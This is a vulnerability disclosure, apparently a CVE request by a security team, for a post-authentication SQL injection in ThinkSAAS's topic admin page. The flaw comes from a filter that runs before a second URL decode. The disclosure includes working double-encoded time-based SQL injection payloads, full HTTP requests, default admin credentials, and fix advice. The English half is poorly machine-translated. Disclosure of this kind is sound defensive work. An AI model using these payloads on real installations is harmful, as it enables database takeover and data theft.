**漏洞名称:**ThinkSAAS最新版app/topic/action/admin/topic.php存在SQL注入漏洞(需要管理员权限)
**作者:**Author of the vuln: Qianxin, Network Security Department, Product-Safety Team ( Unc1e )
本文档提供负责任的披露,旨在给开源代码开发商提供安全漏洞的详情,并促成漏洞被在野利用前的修复。
0x01 背景
在去年12月,出现过URLDecode不当导致的安全问题。参考https://github.com/thinksaas/ThinkSAAS/issues/24
总结一下,就是在ThinkSAAS-master\app\topic\action\admin\topic.php中,对于关键词参数过滤不当,导致了SQL注入。
在去年的修复方案中(点击此处直达),首先是将$title换成了$kw变量,

并且, 经过了tsFilter函数的过滤.
但这样仍然是存在安全风险的
0x02 安全漏洞分析
全局过滤分析
在ThinkSAAS-master\thinksaas\thinksaas.php#62,使用tsgpc进行过滤

就是为了防止sql注入

(1) tsFilter函数过滤逻辑不当
tsFilter函数位于ThinkSAAS-master\thinksaas\tsFunction.php中( 点击此处直达 )
这个函数会将其中的某些危险关键字替换为空, 但是这里犯了一个错误: 只替换了一次, 导致攻击者可以使用双写的方法, 构造形如
SELselect ECT
的关键字, 来逃逸出真正SELECT

因此, 建议把这里只替换一次的if, 改成会循环替换的while

(2) 过滤顺序不当
请注意: 刚刚(1)中的问题并不是最主要的——即便不出现问题(1), 咱们也能进行SQL注入攻击.
在app/topic/action/admin/topic.php中实现的逻辑( 点击此处直达 ),是将用户输入变量$_GET['kw']先过滤、再使用URLDecode函数解码,这就造成了SQL注入漏洞。

简单来说,就是过滤的值跟最终拼接并代入查询数据库的值不同导致的问题。
步骤整理如下:
1, 用户输入参数: %2550%256f%2543%2527%2520%2561%256e%2564%2520%2528%2573%2565%256c%2565%2563%2574%2520%2531%2520%2566%2572%256f%256d%2520%2528%2573%2565%256c%2565%2563%2574%2520%2573%256c%2565%2565%2570%2528%2531%2529%2529%2578%2529%2520%252d%252d%2520
2, 服务端接收到的$kw参数(服务端会自动Url解码一次): %50%6f%43%27%20%61%6e%64%20%28%73%65%6c%65%63%74%20%31%20%66%72%6f%6d%20%28%73%65%6c%65%63%74%20%73%6c%65%65%70%28%31%29%29%78%29%20%2d%2d%20
- 先经过thinksaas/thinksaas.php#62 的 tsgpc()处理
- tsgpc()其实就是封装了addslashes()来转义引号【根本没有单引号嘛】
- 接着再到上面13行的tsFilter()来过滤黑名单关键字【同样不会进行任何操作】
- 参数没有任何变化
3, $kw=urldecode(tsFilter($_GET['kw']));
此时的$kw参数,又被Url解码了一次,恢复了“庐山真面目”:
PoC' and (select 1 from (select sleep(1))x) --
4,最终代入数据库查询的语句(造成SQL注入):
SELECT * FROM ts_topic WHERE `title` like '%PoC' and (select 1 from (select sleep(1))x) -- %' ORDER BY addtime desc
或者还觉得不清楚的话,可以在thinksaas\tsApp.php#165添加“打印SQL语句”的调试代码,如下图所示:

GET /index.php?app=topic&ac=admin&mg=topic&ts=list&kw=%2550%256f%2543%2527%2520%2561%256e%2564%2520%2528%2573%2565%256c%2565%2563%2574%2520%2531%2520%2566%2572%256f%256d%2520%2528%2573%2565%256c%2565%2563%2574%2520%2573%256c%2565%2565%2570%2528%2531%2529%2529%2578%2529%2520%252d%252d%2520 HTTP/1.1
Host: thinksaas
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://thinksaas/index.php?install=result
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=t86vbus6e31om7uv1mrskb3ea5; Hm_lvt_5964cd4b8810fcc73c98618d475213f6=1627657957; Hm_lpvt_5964cd4b8810fcc73c98618d475213f6=1627657957
Connection: close

0x03 漏洞验证
首先,访问“系统管理登录”界面,输入账号、密码登录后台。
http://thinksaas/index.php?app=user&ac=system
- 默认的账号密码是
- admin@admin.com / 123456
接着,访问一下URL
http://thinksaas//index.php?app=topic&ac=admin&mg=topic&ts=list&kw=%2550%256f%2543%2527%2520%2561%256e%2564%2520%2528%2573%2565%256c%2565%2563%2574%2520%2531%2520%2566%2572%256f%256d%2520%2528%2573%2565%256c%2565%2563%2574%2520%2573%256c%2565%2565%2570%2528%2531%2529%2529%2578%2529%2520%252d%252d%2520
可以观察到网页出现了2秒的延时,这就是漏洞的概念验证(PoC)。

在实际利用此漏洞时,攻击者可以通过逻辑运算等方式,来完全控制数据库,进行查询数据库中的信息、写入webshell等危险操作。
0x04 漏洞修复
(1) 优化tsFilter函数
tsFilter函数位于ThinkSAAS-master\thinksaas\tsFunction.php中( 点击此处直达 )
虽然不建议采用黑名单的方式来防止SQL注入…但是修复方案的话,可以把tsFunction函数中只替换一次的if, 改成会循环替换的while

(2) 修复topic.php中逻辑
最好去掉urldecode,直接过滤。
如果【先解码,再过滤】,还是会存在风险,因为URLDecode解码,使得攻击者可以绕过全局的tsgpc()函数,而正确使用其中的addslashes函数,才能真正防止SQL注入发生。
将app/topic/action/admin/topic.php中实现的逻辑( 点击此处直达 ),改为
$kw=tsFilter($_GET['kw']); //推荐写法
CVE request info
0x01 Summay
In last December last year, there were security problems caused by improper URLDecode. Referencehttps://github.com/thinksaas/ThinkSAAS/issues/24
To sum up, it is inThinkSAAS-master\app\topic\action\admin\topic.php, improper filtering of keyword parameters leads to SQL injection.
In last year’s fix plan (clickHereDirect), the first is$titleChanged$kwVariable,

And, aftertsFilterFunction filtering.
However, there are still security risks now.
# Responsible Vulnerability Disclosure info
Title:
ThinkSAAS has a Post-Auth SQL injection vulnerability in app/topic/action/admin/topic.php
Desc:
ThinkSAAS before 3.52 has SQL injection via the /index.php?app=topic&ac=admin&mg=topic&ts=list&title=PoC title parameter(need the privilege of admin), allowing logged attackers to execute arbitrary SQL commands. This is a bypass of CVE-2020-35337.
CVSS v3.1 Vector:
- 7.5
AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:H/MUI:N/MS:C/MC:H/MI:H/MA:H
Result:
The vendor has confirmed this vuln and updated [ThinkSAAS 3.53] to fix this vuln.
Reference:
- https://github.com/thinksaas/ThinkSAAS/issues/28
0x02 security vulnerability analysis
Global filtering analysis
In ThinkSAAS-master\thinksaas\thinksaas.php#62, usetsgpcFilter

Using addslashes to prevent SQL injection

(1)tsFilterImproper function filtering logic
tsFilterFunctionThinkSAAS-master\thinksaas\tsFunction.phpIn (clickHereDirect)
This function replaces some of the dangerous keywords with null, but an error is made here: it is replaced only once, causing attackers to use the double-write method to construct
SELselect ECT
To escape from the realSELECT

Therefore, we recommend that youReplace only onceTheIf, change to meetingLoop replacementTheWhile

(2) improper filtering order
Please note: The problem in (1) just now is not the most important-even if there is no problem in (1), we can also carry out SQL injection attacks.
Inapp/topic/action/admin/topic.phpIn the implementation of the logic (clickHereDirect), is the user input variable$_get ['kw']The SQL injection vulnerability is caused by filtering and then using URLDecode function decoding.

In short, it isThe value of the filter.WithFinally concatenate and substitute the values of the Query DatabaseProblems caused by differences.
The procedure is as follows:
1, User-input param: %2550%256f%2543%2527%2520%2561%256e%2564%2520%2528%2573%2565%256c%2565%2563%2574%2520%2531%2520%2566%2572%256f%256d%2520%2528%2573%2565%256c%2565%2563%2574%2520%2573%256c%2565%2565%2570%2528%2531%2529%2529%2578%2529%2520%252d%252d%2520
2, the $kw param Server received(has been auto UrlDecoded for once): %50%6f%43%27%20%61%6e%64%20%28%73%65%6c%65%63%74%20%31%20%66%72%6f%6d%20%28%73%65%6c%65%63%74%20%73%6c%65%65%70%28%31%29%29%78%29%20%2d%2d%20
- goto thinksaas/thinksaas.php#62 via tsgpc()
- tsgpc() actually do addslashes() to escape [',"]【there is no [',"], you konw】
- then via the line 13 tsFilter() to filter black-word【actually do no operation】
- param no change
3, $kw=urldecode(tsFilter($_GET['kw']));
notice the $kw param has been UrlDecoded agained (for twice, you know):
PoC' and (select 1 from (select sleep(1))x) --
4,So the impace is: Post-Auth SQL-injection(后台SQL注入):
SELECT * FROM ts_topic WHERE `title` like '%PoC' and (select 1 from (select sleep(1))x) -- %' ORDER BY addtime desc
Or if you still feel unclear, you canthinksaas\tsApp.php#165Add the debugging code of “print SQL statement”, as shown in the following figure:

GET /index.php?app=topic&ac=admin&mg=topic&ts=list&kw=%2550%256f%2543%2527%2520%2561%256e%2564%2520%2528%2573%2565%256c%2565%2563%2574%2520%2531%2520%2566%2572%256f%256d%2520%2528%2573%2565%256c%2565%2563%2574%2520%2573%256c%2565%2565%2570%2528%2531%2529%2529%2578%2529%2520%252d%252d%2520 HTTP/1.1
Host: thinksaas
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://thinksaas/index.php?install=result
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=t86vbus6e31om7uv1mrskb3ea5; Hm_lvt_5964cd4b8810fcc73c98618d475213f6=1627657957; Hm_lpvt_5964cd4b8810fcc73c98618d475213f6=1627657957
Connection: close
Causing a delay of 2 seconds

0x03 vulnerability verification(PoC & EXPLOIT)
GET /index.php?app=topic&ac=admin&mg=topic&ts=list&title=PoC%%2527+and/**/1-(select/**/1/**/from/**/(select+sleep(3))a)%2523%2520 HTTP/1.1
Host: thinksaas
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4230.1 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://thinksaas/index.php?app=search&ac=s&kw=keyword
Cookie: PHPSESSID=6im4ssqo33h8l2d43u78nbr4c3; ts_autologin=goh59atl3dsk44o4sws48s80co44ww8
Upgrade-Insecure-Requests: 1
First, access the system management login interface, enter the account and password to log on to the background.
http://thinksaas/index.php?app=user&ac=system
- Default password is:
- admin@admin.com / 123456
Next, visit the URL
http://thinksaas//index.php?app=topic&ac=admin&mg=topic&ts=list&kw=%2550%256f%2543%2527%2520%2561%256e%2564%2520%2528%2573%2565%256c%2565%2563%2574%2520%2531%2520%2566%2572%256f%256d%2520%2528%2573%2565%256c%2565%2563%2574%2520%2573%256c%2565%2565%2570%2528%2531%2529%2529%2578%2529%2520%252d%252d%2520
A 2-second latency is observed on the web page, which is the proof of concept (PoC) of the vulnerability.

When exploiting this vulnerability, attackers can use logical operations to fully control the database, query information in the database, write data to webshell, and other dangerous operations.
0x04 vulnerability fix
(1) optimizationtsFilterFunction
tsFilterFunctionThinkSAAS-master\thinksaas\tsFunction.phpIn (clickHereDirect)
We recommend that you do not use a blacklist to prevent SQL injection. However, if the solution is fixed, you can tsFunction the functionReplace only onceTheIf, change to meetingLoop replacementTheWhile

(2) fixed the logic in topic.php.
Best removeurldecode, filter directly.
If [decode first, then filter], there is still a risk, because the URLDecode decode, so that attackers can bypass the globaltsgpc()To prevent SQL injection, use the addslashes function correctly.
Willapp/topic/action/admin/topic.phpIn the implementation of the logic (clickHereDirect), changed
$kw=tsFilter($_GET['kw']); //推荐写法
0x05 Time Line
- 2021.07.31 08:40, Qianxin, Network Security Department, Product-Safety Team ( Unc1e ) reported this issue to the developer of ThinkSAAS, via Wechat.
- 2021.07.31 09:07, ThinkSAAS confirmed this vulnerability.
- 2021.07.31 09:26, Qianxin, Network Security Department, Product-Safety Team ( Unc1e ) reviewed the mitigation of this vuln. (See https://github.com/thinksaas/ThinkSAAS/commit/07ad8499afebd452647e2a95996ff90496d98093#diff-96592e102fa5e61c02150b963d7e30f03b7a5270be074b22091c1aca4bb321fb)
- 2021.07.31 12:00, ThinkSAAS updated ThinkSAAS 3.53 to fix this vuln.